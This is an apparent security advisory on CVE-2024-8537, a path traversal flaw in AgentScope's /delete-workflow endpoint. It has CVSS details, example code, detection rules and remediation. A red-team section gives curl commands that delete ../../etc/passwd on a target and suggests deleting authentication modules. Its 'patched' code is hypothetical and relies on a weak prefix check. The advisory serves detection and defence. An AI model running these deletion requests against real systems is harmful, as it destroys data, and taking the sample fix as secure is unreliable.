CVE-2024-8537

Executive Summary

CVE-2024-8537 is a critical path traversal vulnerability (CVSS 9.1) in the modelscope/agentscope application, affecting all versions. The flaw resides in the /delete-workflow endpoint, where improper input validation allows an attacker to manipulate file paths and delete arbitrary files on the filesystem. This can lead to denial of service, data loss, or potential system compromise. No public exploit code or patch is currently available, making this a high-priority unpatched risk for any deployment of AgentScope.

Supply Chain & Package Security

AgentScope is a Python-based framework distributed via PyPI. The vulnerability exists in the core application code, not in a dependency. However, because the package is installed via pip, supply chain risks include:

• Malicious package substitution if the PyPI repository is compromised.
• Dependency confusion if internal mirrors are misconfigured.
• Unpatched transitive dependencies that may be leveraged alongside this vulnerability.

Organizations using AgentScope should verify the integrity of their installed package and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): High (H) – Arbitrary file deletion.
• Availability (A): High (H) – Can delete critical system files.

Threat Level: Critical – Remote, unauthenticated file deletion with no patch available.

Deep Dive & Mechanics

The /delete-workflow endpoint in AgentScope accepts a file path parameter to identify which workflow file to delete. The vulnerability arises because the application does not sanitize or validate the input path. An attacker can supply a path containing directory traversal sequences (e.g., ../) to escape the intended workflow directory and delete files anywhere on the filesystem.

Example vulnerable request:

POST /delete-workflow HTTP/1.1
Host: target
Content-Type: application/json

{"path": "../../etc/passwd"}

The application would then call os.remove() or similar with the attacker-controlled path, deleting the target file. This can be chained to delete configuration files, application binaries, or system-critical files, leading to denial of service or privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (all versions):

@app.route('/delete-workflow', methods=['POST'])
def delete_workflow():
    data = request.get_json()
    file_path = data.get('path')
    # No validation or sanitization
    os.remove(file_path)
    return jsonify({"status": "deleted"})

Patched Code (hypothetical):

import os
from werkzeug.utils import secure_filename

ALLOWED_DIR = "/app/workflows"

@app.route('/delete-workflow', methods=['POST'])
def delete_workflow():
    data = request.get_json()
    file_path = data.get('path')
    # Sanitize and validate path
    safe_path = os.path.normpath(os.path.join(ALLOWED_DIR, file_path))
    if not safe_path.startswith(ALLOWED_DIR):
        return jsonify({"error": "Invalid path"}), 400
    if not os.path.exists(safe_path):
        return jsonify({"error": "File not found"}), 404
    os.remove(safe_path)
    return jsonify({"status": "deleted"})

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable AgentScope instance using Docker:

   docker run -d -p 8080:8080 modelscope/agentscope:latest
   

2. Verify the endpoint is accessible:

   curl -X POST http://localhost:8080/delete-workflow -H "Content-Type: application/json" -d '{"path":"test.txt"}'
   

Exploitation Steps:

1. Identify the application root directory (e.g., /app).
2. Delete a sensitive file:

   curl -X POST http://target:8080/delete-workflow \
     -H "Content-Type: application/json" \
     -d '{"path":"../../etc/passwd"}'
   

3. Confirm deletion by attempting to read the file (if possible) or observing application behavior.

Advanced Exploitation:

• Delete application configuration files to cause misconfiguration.
• Remove authentication modules to bypass access controls.
• Chain with other vulnerabilities for remote code execution.

Blue Team

Detection:

• Monitor for POST requests to /delete-workflow with suspicious path parameters (e.g., containing ../).
• Alert on file deletion events outside the expected workflow directory.
• Use file integrity monitoring (FIM) to detect unauthorized deletions.

Mitigation:

• Immediately restrict access to the /delete-workflow endpoint via firewall or reverse proxy.
• Implement input validation and path sanitization as shown in the patched code.
• Apply the principle of least privilege to the application user.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /delete-workflow with JSON body containing "path": and directory traversal sequences.
  • Unusual outbound connections from the application server after exploitation.
• File System:
  • Unexpected deletion of files outside the /workflows directory.
  • Missing configuration files (e.g., config.yaml, settings.json).
• Logs:
  • Application logs showing os.remove() calls with paths containing ../.
  • System logs (e.g., audit.log) recording file deletions by the application user.

Detection Engineering

YARA Rule

rule CVE_2024_8537_PathTraversal {
    meta:
        description = "Detects path traversal attempts in AgentScope /delete-workflow endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8537"
    strings:
        $json_path = /"path"\s*:\s*"[^"]*\.\.\/[^"]*"/
        $json_path2 = /"path"\s*:\s*"[^"]*\.\.\\[^"]*"/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8537 AgentScope Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against AgentScope /delete-workflow endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/delete-workflow'
        cs-uri-query|contains: '..%2F'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8537 AgentScope Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/delete-workflow"; http_uri; content:"..%2F"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /delete-workflow endpoint if not required, by removing or commenting out the route in the application code.
2. Restrict network access to the AgentScope service using a firewall or reverse proxy (e.g., Nginx, Apache) to allow only trusted IPs.
3. Implement input validation as shown in the patched code section.

Long-Term Fixes:

• Apply a vendor patch once released.
• Upgrade to a patched version of AgentScope.
• Conduct a security audit of all endpoints for similar vulnerabilities.

Compensating Controls:

• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Enable file integrity monitoring (FIM) on critical system files.
• Run the application in a container with a read-only root filesystem.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert